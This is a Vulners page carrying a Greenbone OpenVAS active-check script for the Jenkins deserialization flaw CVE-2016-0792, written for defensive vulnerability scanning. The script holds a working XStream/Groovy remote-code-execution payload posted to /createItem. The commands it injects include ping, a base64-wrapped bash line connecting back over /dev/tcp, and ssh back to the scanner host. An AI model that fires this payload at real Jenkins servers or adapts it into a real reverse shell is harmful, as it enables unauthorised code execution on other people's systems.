Jenkins Deserialization Vulnerability (CVE-2016-0792) - Active Check
🗓️ 10 Aug 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType
openvas🔗 plugins.openvas.org👁 283 Views
| Reporter | Title | Published | Views | Family All 64 |
|---|---|---|---|---|
| Exploit for Improper Input Validation in Jenkins | 4 Sep 201908:16 | – | gitee | |
| Exploit for Improper Input Validation in Jenkins | 23 Mar 202015:45 | – | gitee | |
| Exploit for Improper Input Validation in Jenkins | 28 Mar 202000:40 | – | gitee | |
| Exploit for Improper Input Validation in Jenkins | 8 Mar 202010:44 | – | gitee | |
| Exploit for Improper Input Validation in Jenkins | 17 Jul 202001:14 | – | gitee | |
| Exploit for Deserialization of Untrusted Data in Redhat Data_Grid | 15 Sep 202009:08 | – | gitee | |
| Exploit for Deserialization of Untrusted Data in Ibm Sterling_B2B_Integrator | 3 Aug 202504:13 | – | gitee | |
| Exploit for Improper Input Validation in Jenkins | 6 Jul 202503:23 | – | gitee | |
| Exploit for Deserialization of Untrusted Data in Redhat Data_Grid | 29 Oct 202013:31 | – | gitee | |
| Jenkins < 1.650 - Java Deserialization Exploit | 31 Jul 201700:00 | – | zdt |
10
| Source | Link |
|---|---|
| jenkins | www.jenkins.io/security/advisory/2016-02-24/ |
| exploit-db | www.exploit-db.com/exploits/42394/ |
| github | www.github.com/jpiechowka/jenkins-cve-2016-0792/ |
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:jenkins:jenkins";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.107230");
script_version("2026-03-12T05:56:11+0000");
script_cve_id("CVE-2016-0792");
script_tag(name:"last_modification", value:"2026-03-12 05:56:11 +0000 (Thu, 12 Mar 2026)");
script_tag(name:"creation_date", value:"2017-08-10 12:09:09 +0200 (Thu, 10 Aug 2017)");
script_tag(name:"cvss_base", value:"9.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2018-01-05 02:30:00 +0000 (Fri, 05 Jan 2018)");
script_name("Jenkins Deserialization Vulnerability (CVE-2016-0792) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2017 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_jenkins_consolidation.nasl", "os_detection.nasl");
script_require_ports("Services/www", 8080);
script_mandatory_keys("jenkins/http/detected");
script_xref(name:"URL", value:"https://www.jenkins.io/security/advisory/2016-02-24/");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/42394/");
script_xref(name:"URL", value:"https://github.com/jpiechowka/jenkins-cve-2016-0792/");
script_tag(name:"summary", value:"Jenkins is prone to a Java deserialization vulnerability.");
script_tag(name:"vuldetect", value:"Two different methods are used:
1. Sends a serialized object via a crafted HTTP POST request and checks if the target is
connecting back to the scanner host (Linux/Unix targets only).
2. Sends a serialized object via a crafted HTTP POST request and checks if the target is sending
an ICMP Echo Request back to the scanner host (Windows targets only).
Notes:
- For a successful detection of this flaw via the first method the target host needs to be able to
reach the scanner host on a TCP port randomly generated during the runtime of the VT (currently in
the range of 10000-32000).
- For a successful detection of this flaw via the second method the scanner host needs to be able
to directly receive ICMP Echo Requests (Type 8) from the target.
- If the target is a Windows system constantly sending ICMP Echo requests to the scanner host
(e.g. a Monitoring System) the second detection method might be not fully reliable. In this case
please create an override for any result of this VT.");
script_tag(name:"insight", value:"Multiple unspecified API endpoints in Jenkins allow remote
authenticated users to execute arbitrary code via serialized data in an XML file, related to
XStream and groovy.util.Expando.");
script_tag(name:"impact", value:"Successfully exploiting this issue allows attackers to execute
arbitrary code in the context of the affected application.");
script_tag(name:"affected", value:"- All Jenkins main line releases up to and including 1.649
- All Jenkins LTS releases up to and including 1.642.1
Note: Anonymous job creation needs to be enabled.");
script_tag(name:"solution", value:"Jenkins main line users should update to 1.650, Jenkins LTS
users should update to 1.642.2.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("misc_func.inc");
include("dump.inc");
include("list_array_func.inc");
include("pcap_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
headers = make_array( "Content-Type", "application/xml" );
if( os_host_runs( "Windows") == "yes" )
target_runs_windows = TRUE;
foreach connect_back_target( make_list( ownip, ownhostname ) ) {
# nb: Those doesn't need to be defined within the later foreach cmd() loop...
vtstrings = get_vt_strings();
check = vtstrings["ping_string"];
pattern = hexstr( check );
# nb: We're currently using 10000-32000 to not get in conflict with the ephemeral port range used
# by most standard Linux/Unix operating systems. If we're choosing a port of that range we might
# have false positives due to race conditions (target is sending back a response to a request of
# another VT for which the scanner had chosen the same source port).
rnd_port = rand_int_range( min:10000, max:32000 );
if( target_runs_windows ) {
cmds = make_list( "<command><string>ping</string><string>-n</string><string>5</string><string>" + connect_back_target + "</string></command>" );
}
else {
# nb: Initially only ping was used here but some Docker images had shown some strange behavior like e.g.:
# > ping: Lacking privilege for raw socket.
# so multiple different commands have been used here for better detection coverage
cmds = make_list(
"<command><string>ping</string><string>-c</string><string>5</string><string>-p</string><string>" + pattern + "</string><string>" + connect_back_target + "</string></command>",
"<command><string>echo</string><string>" + base64( str:">&/dev/tcp/" + connect_back_target + "/" + rnd_port + " 0>&1" ) + "</string><string>|</string><string>base64</string><string>-d</string><string>|</string><string>bash</string><string>-i</string></command>",
"<command><string>ssh</string><string>-q</string><string>-i</string><string>/dev/null</string><string>-p</string><string>" + rnd_port + "</string><string>" + connect_back_target + "</string></command>"
);
}
foreach cmd( cmds ) {
ping_used = FALSE;
tcp_used = FALSE;
if( "<string>ping</string>" >< cmd ) {
filter = string( "icmp and icmp[0] = 8 and ", src_filter, " and ", dst_filter );
ping_used = TRUE;
}
else {
filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );
# nb: We're only interested in TCP SYN packets and want to ignore all others (e.g. ACK, RST, ...)
filter = string( filter, " and tcp[tcpflags] & (tcp-syn) != 0" );
tcp_used = TRUE;
}
data =
' <map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando"/>
<owner class="java.lang.ProcessBuilder">
' + cmd + '
</owner>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>';
url = "/createItem?name=" + rand_str( length:8 );
req = http_post_put_req( port:port, url:url, data:data, add_headers:headers );
# nb: Always keep open_sock_tcp() after the first call of a function forking on multiple
# hostnames / vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(),
# ...). Reason: If the fork would be done after calling open_sock_tcp() the child's would share
# the same socket causing race conditions and similar.
if( ! soc = open_sock_tcp( port ) )
continue;
res = send_capture( socket:soc, data:req, timeout:5, pcap_filter:filter );
close( soc );
if( ! res )
continue;
if( ping_used ) {
type = get_icmp_element( icmp:res, element:"icmp_type" );
if( ! type || type != 8 )
continue;
# nb: If understanding https://datatracker.ietf.org/doc/html/rfc792 correctly the "data" field
# should be always there. In addition at least standard Linux and Windows systems are always
# sending data so it should be safe to check this here.
if( ! data = get_icmp_element( icmp:res, element:"data" ) )
continue;
# nb:
# - Like seen on / in e.g.
# - https://ilinux.wordpress.com/2018/04/18/%DA%86%D8%B7%D9%88%D8%B1-%D9%88%D9%82%D8%AA%DB%8C-%D9%87%D9%85%D9%87-%DA%86%DB%8C%D8%B2-%D8%A8%D8%B3%D8%AA%D9%87%E2%80%8C%D8%B3%D8%AA-%D8%A8%D9%87-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA-%D9%85/
# - GS-9790
# - We can easily rule out this one as not a valid response...
if( "PING by PRTG" >< data )
continue;
if( ( target_runs_windows || check >< data ) ) {
report = http_report_vuln_url( port:port, url:url );
report += '\n\nBy sending a special crafted serialized Java object it was possible to execute `' + cmd + '` on the remote host.\n\nReceived answer (ICMP "Data" field):\n\n' + hexdump( ddata:data );
security_message( port:port, data:report );
exit( 0 );
}
}
else {
flags = get_tcp_element( tcp:res, element:"th_flags" );
if( ( flags & TH_SYN ) ) {
report = http_report_vuln_url( port:port, url:url );
report += '\n\nBy sending a special crafted serialized Java object it was possible to execute `' + cmd + '` on the remote host.\n\nThe TCP-SYN request to port ' + rnd_port + " was then successfully captured.";
security_message( port:port, data:report );
exit( 0 );
}
}
}
}
# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host or another IP is responding from our request.
exit( 0 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Mar 2026 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 38.8
CVSS 29
EPSS0.83259